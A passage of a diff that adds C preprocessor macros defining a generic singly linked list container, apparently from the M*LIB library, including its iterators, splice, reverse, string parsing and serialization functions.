+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#else
+#define M_L1ST_OPLIST_P3(name, oplist)                                        \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_WITH_VAI)),                                         \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)**),                       \
+   SUBTYPE(M_F(name,_subtype_ct)),                                            \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_REF(M_F(name,_ref)),                                                    \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_INSERT(API_0P(M_F(name, _insert))),                                     \
+   IT_REMOVE(API_0P(M_F(name,_remove))),                                      \
+   RESET(API_0P(M_F(name,_reset))),                                           \
+   PUSH(API_0P(M_F(name,_push))),                                             \
+   POP(API_0P(M_F(name,_pop))),                                               \
+   PUSH_MOVE(API_0P(M_F(name,_push_move))),                                   \
+   POP_MOVE(API_0P(M_F(name,_pop_move)))                                      \
+   ,SPLICE_BACK(M_F(name,_splice_back))                                       \
+   ,SPLICE_AT(M_F(name,_splice_at))                                           \
+   ,REVERSE(M_F(name,_reverse))                                               \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#endif
+
+/* Deferred evaluation for the list definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_DEF_P1(arg) M_ID( M_L1ST_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_L1ST_DEF_P2(name, type, oplist, list_t, it_t)                       \
+  M_IF_OPLIST(oplist)(M_L1ST_DEF_P3, M_L1ST_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_L1ST_DEF_FAILURE(name, type, oplist, list_t, it_t)                  \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(LIST_DEF): the given argument is not a valid oplist: " #oplist)
+
+
+/* Internal list definition
+   - name: prefix to be used
+   - type: type of the elements of the list
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+   - node_t: alias for M_F(name, _node_t) [ node ]
+ */
+#define M_L1ST_DEF_P3(name, type, oplist, list_t, it_t)                       \
+  M_L1ST_DEF_TYPE(name, type, oplist, list_t, it_t)                           \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_L1ST_DEF_P4(name, type, oplist, list_t, it_t)                             \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_back, oplist, M_L1ST_EMPLACE_DEF) \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+
+/* Define the internal contract of a list
+   (there is nothing worthy to be checked) */
+#define M_L1ST_CONTRACT(v) do {                                               \
+    M_ASSERT (v != NULL);                                                     \
+  } while (0)
+
+
+/* Define the type of a list */
+#define M_L1ST_DEF_TYPE(name, type, oplist, list_t, it_t)                     \
+                                                                              \
+  /* Define the node of a list, and the list as a pointer to a node */        \
+  typedef struct M_F(name, _s) {                                              \
+    struct M_F(name, _s) *next;  /* Next node or NULL if final node */        \
+    type data;                   /* The data itself */                        \
+  } *list_t[1];                                                               \
+                                                                              \
+  /* Define an iterator of a list */                                          \
+  typedef struct M_F(name, _it_s) {                                           \
+    struct M_F(name, _s) *previous; /* Previous node or NULL */               \
+    struct M_F(name, _s) *current;  /* Current node or NULL */                \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the synonyms of the type */                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  typedef list_t M_F(name, _ct);                                              \
+  typedef it_t M_F(name, _it_ct);                                             \
+  typedef type M_F(name, _subtype_ct);                                        \
+ 
+
+ /* Internal list function definition
+   - name: prefix to be used
+   - type: type of the elements of the list
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for type of the container
+   - it_t: alias for iterator of the container
+ */
+#define M_L1ST_DEF_P4(name, type, oplist, list_t, it_t)                       \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(list_t v)                                                  \
+  {                                                                           \
+    M_ASSERT (v != NULL);                                                     \
+    *v = NULL;                                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void,name, _reset, list_t v)                                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    struct M_F(name, _s) *it = *v;                                            \
+    *v = NULL;                                                                \
+    while (it != NULL) {                                                      \
+      struct M_F(name, _s) *next = it->next;                                  \
+      M_CALL_CLEAR(oplist, it->data);                                         \
+      M_CALL_DEL(oplist, it);                                                 \
+      it = next;                                                              \
+    }                                                                         \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, list_t v)                                           \
+  {                                                                           \
+    M_F(name, _reset)M_R(v);                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE type  *                                                            \
+  M_F(name, _back)(const list_t v)                                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT(*v != NULL);                                                     \
+    return &((*v)->data);                                                     \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, _push_back_raw, list_t v)                                 \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    type *ret = &next->data;                                                  \
+    next->next = *v;                                                          \
+    *v = next;                                                                \
+    M_L1ST_CONTRACT(v);                                                       \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push_back, list_t v, type const x)                         \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw)M_R(v);                             \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = *v );                         \
+    M_ON_EXCEPTION( *v = next->next, M_CALL_DEL(oplist, next)) {              \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push, list_t v, type const x)                              \
+  {                                                                           \
+    M_F(name, _push_back)M_R(v, x);                                           \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _push_new, list_t v)                                      \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw)M_R(v);                             \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return NULL;                                                            \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = *v );                         \
+    M_ON_EXCEPTION( *v = next->next, M_CALL_DEL(oplist, next)) {              \
+      M_CALL_INIT(oplist, *data);                                             \
+    }                                                                         \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _pop_back, type *data, list_t v)                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT(*v != NULL);                                                     \
+    if (data != NULL) {                                                       \
+      M_DO_MOVE (oplist, *data, (*v)->data);                                  \
+    } else {                                                                  \
+      M_CALL_CLEAR(oplist, (*v)->data);                                       \
+    }                                                                         \
+    struct M_F(name, _s) *tofree = *v;                                        \
+    *v = (*v)->next;                                                          \
+    M_CALL_DEL(oplist, tofree);                                               \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop, type *data, list_t v)                                 \
+  {                                                                           \
+    M_F(name, _pop_back)M_R(data, v);                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push_move, list_t v, type *x)                              \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, _push_back_raw)M_R(v);                             \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_move, type *data, list_t v)                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT(*v != NULL && data != NULL);                                     \
+    M_CALL_INIT_MOVE (oplist, *data, (*v)->data);                             \
+    struct M_F(name, _s) *tofree = *v;                                        \
+    *v = (*v)->next;                                                          \
+    M_CALL_DEL(oplist, tofree);                                               \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const list_t v)                                         \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    return *v == NULL;                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(list_t l, list_t v)                                        \
+  {                                                                           \
+    M_L1ST_CONTRACT(l);                                                       \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_SWAP(struct M_F(name, _s) *, *l, *v);                                   \
+    M_L1ST_CONTRACT(l);                                                       \
+    M_L1ST_CONTRACT(v);                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const list_t v)                                     \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT (it != NULL);                                                    \
+    it->current = *v;                                                         \
+    it->previous = NULL;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it1, const it_t it2)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    it1->current  = it2->current;                                             \
+    it1->previous = it2->previous;                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it1, const list_t v)                                \
+  {                                                                           \
+    M_L1ST_CONTRACT(v);                                                       \
+    M_ASSERT (it1 != NULL);                                                   \
+    (void)v; /* unused */                                                     \
+    it1->current  = NULL;                                                     \
+    it1->previous = NULL;                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL;                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL || it->current->next == NULL;                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    it->previous = it->current;                                               \
+    it->current  = it->current->next;                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    return it1->current == it2->current;                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return &(it->current->data);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return M_CONST_CAST(type, &(it->current->data));                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const list_t list)                                         \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    size_t size = 0;                                                          \
+    struct M_F(name, _s) *it = *list;                                         \
+    while (it != NULL) {                                                      \
+      size ++;                                                                \
+      it = it->next;                                                          \
+    }                                                                         \
+    return size;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _sublist_p)(const list_t list, const it_t itsub)                  \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    M_ASSERT (itsub != NULL);                                                 \
+    struct M_F(name, _s) *it = *list;                                         \
+    while (it != NULL) {                                                      \
+      if (it == itsub->current) return true;                                  \
+      it = it->next;                                                          \
+    }                                                                         \
+    /* Not found. Check if search item is NULL */                             \
+    return (itsub->current == NULL);                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _get)(const list_t list, size_t i)                                \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    struct M_F(name, _s) *it = *list;                                         \
+    /* FIXME: How to avoid the double iteration over the list? */             \
+    size_t len = M_F(name,_size)(list);                                       \
+    M_ASSERT_INDEX (i, len);                                                  \
+    size_t j = len-1;                                                         \
+    while (true) {                                                            \
+      M_ASSERT (it != NULL);                                                  \
+      if (i == j) return &it->data;                                           \
+      it = it->next;                                                          \
+      j--;                                                                    \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cget)(const list_t l, size_t i)                                  \
+  {                                                                           \
+    return M_CONST_CAST(type, M_F(name, _get)(l,i));                          \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _insert, list_t list, it_t insertion_point, type const x)   \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    M_ASSERT (insertion_point != NULL);                                       \
+    M_ASSERT (M_F(name, _sublist_p)(list, insertion_point));                  \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    M_ON_EXCEPTION( M_CALL_DEL(oplist, next))                                 \
+      M_CALL_INIT_SET(oplist, next->data, x);                                 \
+    struct M_F(name, _s) *current = insertion_point->current;                 \
+    if (M_UNLIKELY (current == NULL)) {                                       \
+      next->next = *list;                                                     \
+      *list = next;                                                           \
+    } else {                                                                  \
+      next->next = current->next;                                             \
+      current->next = next;                                                   \
+    }                                                                         \
+    /* Update insertion_point to this element */                              \
+    insertion_point->current = next;                                          \
+    insertion_point->previous = current;                                      \
+    M_L1ST_CONTRACT(list);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, list_t list, it_t removing_point)                  \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    M_ASSERT (removing_point != NULL);                                        \
+    M_ASSERT (removing_point->current != NULL);                               \
+    M_ASSERT (M_F(name, _sublist_p)(list, removing_point));                   \
+    struct M_F(name, _s) *next = removing_point->current->next;               \
+    if (M_UNLIKELY (removing_point->previous == NULL)) {                      \
+      *list = next;                                                           \
+    } else {                                                                  \
+      removing_point->previous->next = next;                                  \
+    }                                                                         \
+    M_CALL_CLEAR(oplist, removing_point->current->data);                      \
+    M_CALL_DEL(oplist, removing_point->current);                              \
+    removing_point->current = next;                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, list_t list, const list_t org)                   \
+  {                                                                           \
+    M_L1ST_CONTRACT(org);                                                     \
+    struct M_F(name, _s) *m_volatile next = NULL;                             \
+    struct M_F(name, _s) *it_org;                                             \
+    struct M_F(name, _s) **update_list;                                       \
+    update_list = list;                                                       \
+    it_org = *org;                                                            \
+    /* If exceptions, always keep list as a valid list */                     \
+    M_IF_EXCEPTION(*update_list = NULL);                                      \
+    /* On exceptions, free node and clear list*/                              \
+    M_ON_EXCEPTION(M_CALL_DEL(oplist, next), M_F(name, _clear)(list) )        \
+    while (it_org != NULL) {                                                  \
+      next = M_CALL_NEW(oplist, struct M_F(name, _s));                        \
+      if (M_UNLIKELY_NOMEM (next == NULL)) {                                  \
+        M_MEMORY_FULL(struct M_F(name, _s), 1);                               \
+      }                                                                       \
+      M_CALL_INIT_SET(oplist, next->data, it_org->data);                      \
+      *update_list = next;                                                    \
+      update_list = &next->next;                                              \
+      it_org = it_org->next;                                                  \
+      M_IF_EXCEPTION(next = NULL, *update_list = NULL);                       \
+    }                                                                         \
+    *update_list = NULL;                                                      \
+    M_L1ST_CONTRACT(list);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, list_t list, const list_t org)                        \
+  {                                                                           \
+    if (M_UNLIKELY (list == org)) return;                                     \
+    M_ON_EXCEPTION(M_F(name, _init)(list) ) {                                 \
+      M_F(name, _clear)M_R(list);                                             \
+      M_F(name, _init_set)M_R(list, org);                                     \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(list_t list, list_t org)                              \
+  {                                                                           \
+    M_L1ST_CONTRACT(org);                                                     \
+    M_ASSERT (list != NULL && list != org);                                   \
+    *list = *org;                                                             \
+    *org = NULL;  /* safer */                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, list_t list, list_t org)                             \
+  {                                                                           \
+    M_ASSERT (list != org);                                                   \
+    M_F(name, _clear)M_R(list);                                               \
+    M_F(name, _init_move)(list, org);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_back)(list_t nv, list_t ov, it_t it)                      \
+  {                                                                           \
+    M_L1ST_CONTRACT(nv);                                                      \
+    M_L1ST_CONTRACT(ov);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (it->current != NULL);                                           \
+    M_ASSERT (M_F(name, _sublist_p)(ov, it));                                 \
+    /* Remove the item 'it' from the list 'ov' */                             \
+    struct M_F(name, _s) *current = it->current;                              \
+    struct M_F(name, _s) *next    = current->next;                            \
+    if (it->previous == NULL) {                                               \
+      *ov = next;                                                             \
+    } else {                                                                  \
+      it->previous->next = next;                                              \
+    }                                                                         \
+    /* Update the item 'it' to point to the next element */                   \
+    /* it->previous doesn't need to be updated */                             \
+    it->current = next;                                                       \
+    /* Push back extracted 'current' in the list 'nv' */                      \
+    current->next = *nv;                                                      \
+    *nv = current;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_at)(list_t nlist, it_t npos,                              \
+                        list_t olist, it_t opos)                              \
+  {                                                                           \
+    M_L1ST_CONTRACT(nlist);                                                   \
+    M_L1ST_CONTRACT(olist);                                                   \
+    M_ASSERT (npos != NULL);                                                  \
+    M_ASSERT (opos != NULL);                                                  \
+    M_ASSERT (M_F(name, _sublist_p)(nlist, npos));                            \
+    M_ASSERT (M_F(name, _sublist_p)(olist, opos));                            \
+    /* Remove the item 'opos' from the list 'olist' */                        \
+    struct M_F(name, _s) *current = opos->current;                            \
+    /* current shall reference a valid element of the list */                 \
+    M_ASSERT (current != NULL);                                               \
+    struct M_F(name, _s) *next    = current->next;                            \
+    if (opos->previous == NULL) {                                             \
+      *olist = next;                                                          \
+    } else {                                                                  \
+      opos->previous->next = next;                                            \
+    }                                                                         \
+    /* Update 'opos' to point to the next element */                          \
+    opos->current = next;                                                     \
+    /* Insert 'current' into 'nlist' just after 'npos' */                     \
+    struct M_F(name, _s) *previous = npos->current;                           \
+    if (M_UNLIKELY (previous == NULL)) {                                      \
+      current->next = *nlist;                                                 \
+      *nlist = current;                                                       \
+    } else {                                                                  \
+      current->next = previous->next;                                         \
+      previous->next = current;                                               \
+    }                                                                         \
+    /* Update 'npos' to point to the new current element */                   \
+    npos->previous = npos->current;                                           \
+    npos->current  = current;                                                 \
+    M_L1ST_CONTRACT(nlist);                                                   \
+    M_L1ST_CONTRACT(olist);                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice)(list_t list1, list_t list2)                              \
+  {                                                                           \
+    M_L1ST_CONTRACT(list1);                                                   \
+    M_L1ST_CONTRACT(list2);                                                   \
+    M_ASSERT (list1 != list2);                                                \
+    struct M_F(name, _s) **update_list = list1;                               \
+    struct M_F(name, _s) *it = *list1;                                        \
+    while (it != NULL) {                                                      \
+      update_list = &it->next;                                                \
+      it = it->next;                                                          \
+    }                                                                         \
+    *update_list = *list2;                                                    \
+    *list2 = NULL;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _reverse)(list_t list)                                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    struct M_F(name, _s) *previous = NULL, *it = *list, *next;                \
+    while (it != NULL) {                                                      \
+      next = it->next;                                                        \
+      it->next = previous;                                                    \
+      previous = it;                                                          \
+      it = next;                                                              \
+    }                                                                         \
+    *list = previous;                                                         \
+  }                                                                           \
+
+
+/* Internal list function definition using only iterator functions 
+   which is common for all kind of lists.
+   It shall therefore only used the public interface of a list
+   and no contract can be checked at this level.
+   - name: prefix to be used
+   - type: type of the elements of the list
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+ */
+#define M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)                   \
+                                                                              \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, const list_t list, bool append)   \
+  {                                                                           \
+    M_ASSERT (str != NULL && list != NULL);                                   \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, list) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_GET_STR(oplist, str, *item, true);                               \
+      if (!M_F(name, _last_p)(it))                                            \
+        m_string_push_back M_R(str, M_GET_SEPARATOR oplist);                  \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* no str */ )                                                            \
+                                                                              \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const list_t list)                          \
+  {                                                                           \
+    M_ASSERT (file != NULL && list != NULL);                                  \
+    fputc ('[', file);                                                        \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, list) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_OUT_STR(oplist, file, *item);                                    \
+      if (!M_F(name, _last_p)(it))                                            \
+        fputc (M_GET_SEPARATOR oplist, file);                                 \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no out_str */ )                                                        \
+                                                                              \
+  M_IF_METHOD2(PARSE_STR, INIT, oplist)(                                      \
+  M_P(bool, name, _parse_str, list_t list, const char str[], const char **endp) \
+  {                                                                           \
+    M_ASSERT (str != NULL && list != NULL);                                   \
+    M_F(name,_reset)M_R(list);                                                \
+    bool success = false;                                                     \
+    int c = *str++;                                                           \
+    if (M_UNLIKELY (c != '[')) goto exit;                                     \
+    c = *str++;                                                               \
+    if (M_UNLIKELY (c == ']')) { success = true; goto exit;}                  \
+    if (M_UNLIKELY (c == 0)) goto exit;                                       \
+    str--;                                                                    \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(oplist, item, str, &str);                   \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false || c == 0) { c = 0; break; }                           \
+        M_F(name, _push_back)M_R(list, item);                                 \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+      success = (c == ']');                                                   \
+    }                                                                         \
+    M_F(name, _reverse)(list);                                                \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    return success;                                                           \
+  }                                                                           \
+  , /* no PARSE_STR & INIT */ )                                               \
+                                                                              \
+  M_IF_METHOD2(IN_STR, INIT, oplist)(                                         \
+  M_P(bool, name, _in_str, list_t list, FILE *file)                           \
+  {                                                                           \
+    M_ASSERT (file != NULL && list != NULL);                                  \
+    M_F(name,_reset)M_R(list);                                                \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(oplist, item, file);                           \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false || c == EOF) { c = 0; break; }                         \
+        M_F(name, _push_back)M_R(list, item);                                 \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+    M_F(name, _reverse)(list);                                                \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no IN_STR & INIT */ )                                                  \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, const list_t list) \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    bool first_done = false;                                                  \
+    ret = f->m_interface->write_array_start M_R(local, f, (size_t)-1);        \
+    if (ret == M_SERIAL_FAIL_RETRY) {                                         \
+      size_t n = M_F(name, _size)(list);                                      \
+      ret = f->m_interface->write_array_start M_R(local, f, n);               \
+    }                                                                         \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, list) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      if (first_done)                                                         \
+        ret |= f->m_interface->write_array_next M_R(local, f);                \
+      ret |= M_CALL_OUT_SERIAL(oplist, f, *item);                             \
+      first_done = true;                                                      \
+    }                                                                         \
+    ret |= f->m_interface->write_array_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD2(IN_SERIAL, INIT, oplist)(                                      \
+  M_P(m_serial_return_code_t, name, _in_serial, list_t list, m_serial_read_t f) \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(list);                                                \
+    ret = f->m_interface->read_array_start(local, f, &estimated_size);        \
+    if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) return ret;                 \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        ret = M_CALL_IN_SERIAL(oplist, item, f);                              \
+        if (ret != M_SERIAL_OK_DONE) { break; }                               \
+        M_F(name, _push_back)M_R(list, item);                                 \
+        ret = f->m_interface->read_array_next(local, f);                      \
+      } while (ret == M_SERIAL_OK_CONTINUE);                                  \
+    }                                                                         \
+    M_F(name, _reverse)(list);                                                \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no IN_SERIAL & INIT */ )                                               \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)(                                                 \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const list_t list1, const list_t list2)                 \
+  {                                                                           \
+    M_ASSERT (list1 != NULL && list2 != NULL);                                \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    if (list1 == list2) return true;                                          \
+    M_F(name, _it)(it1, list1);                                               \
+    M_F(name, _it)(it2, list2);                                               \
+    while (!M_F(name, _end_p)(it1)                                            \
+           &&!M_F(name, _end_p)(it2)) {                                       \
+      type const *item1 = M_F(name, _cref)(it1);                              \
+      type const *item2 = M_F(name, _cref)(it2);                              \
+      bool b = M_CALL_EQUAL(oplist, *item1, *item2);                          \
